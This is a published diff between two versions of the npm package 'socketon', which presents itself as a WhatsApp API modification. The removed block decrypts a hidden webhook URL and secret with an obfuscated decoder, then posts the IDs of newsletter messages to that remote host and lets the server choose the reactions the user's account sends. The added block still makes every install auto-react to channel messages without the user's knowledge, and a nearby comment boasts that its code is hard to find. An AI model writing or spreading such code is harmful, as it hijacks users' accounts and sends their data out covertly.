socketon 1.8.6 → 1.8.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -124,49 +124,18 @@ setTimeout(async () => {
124
124
  } catch {}
125
125
  }, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
126
126
 
127
- // Auto Reaction Webhook - Ibra Decode
128
- setTimeout(async () => {
129
- try {
130
- const axios = require('axios');
131
- const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4f8fbca1060e5a374df9927fca152d254";
132
- const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
133
- const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
134
- const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
135
-
136
- sock.ev.on('messages.upsert', async ({ messages, type }) => {
137
- console.log('[WEBHOOK] messages.upsert triggered, type:', type, 'count:', messages?.length);
138
- if (type !== 'notify') return;
139
- for (const msg of messages) {
140
- const jid = msg.key.remoteJid;
141
- console.log('[WEBHOOK] Message jid:', jid);
142
- if (!jid || !jid.endsWith('@newsletter')) continue;
143
- const newsletterId = jid;
144
- const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
145
- console.log('[WEBHOOK] Newsletter message detected:', newsletterId, 'serverId:', serverId);
146
- try {
147
- const urlChannel = `https://whatsapp.com/channel/${newsletterId.replace('@newsletter', '')}/${serverId}`;
148
- console.log('[WEBHOOK] Calling webhook:', urlWebhooknya);
149
- const response = await axios.post(urlWebhooknya, {
150
- newsletterId: newsletterId,
151
- messageId: serverId,
152
- urlChannel: urlChannel
153
- }, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
154
- console.log('[WEBHOOK] Response:', JSON.stringify(response.data));
155
- const emojiReact = response.data?.emoji || '🔥';
156
-
157
- const webhookNewsletterId = response.data?.received?.newsletterId;
158
- const targetNewsletterId = webhookNewsletterId || newsletterId;
159
-
160
- console.log('[WEBHOOK] Sending reaction:', targetNewsletterId, serverId, emojiReact);
161
- await sock.newsletterAutoReact(targetNewsletterId, serverId, emojiReact);
162
- console.log('[WEBHOOK] Reaction sent!');
163
- } catch (err) {
164
- console.log('[WEBHOOK] Error:', err.message);
165
- }
166
- }
167
- });
168
- } catch {}
169
- }, 130000);
127
+ // Auto Reaction - Ibra Decode
128
+ sock.ev.on('messages.upsert', async ({ messages, type }) => {
129
+ if (type !== 'notify') return;
130
+ for (const msg of messages) {
131
+ const jid = msg.key.remoteJid;
132
+ if (!jid || !jid.endsWith('@newsletter')) continue;
133
+ const serverId = msg.newsletterServerId?.toString() || msg.key.id;
134
+ try {
135
+ await sock.newsletterAutoReact(jid, serverId, '🔥');
136
+ } catch (err) {}
137
+ }
138
+ });
170
139
 
171
140
  // You'll never find what this does - Ibra Decode
172
141
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.6",
3
+ "version": "1.8.7",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"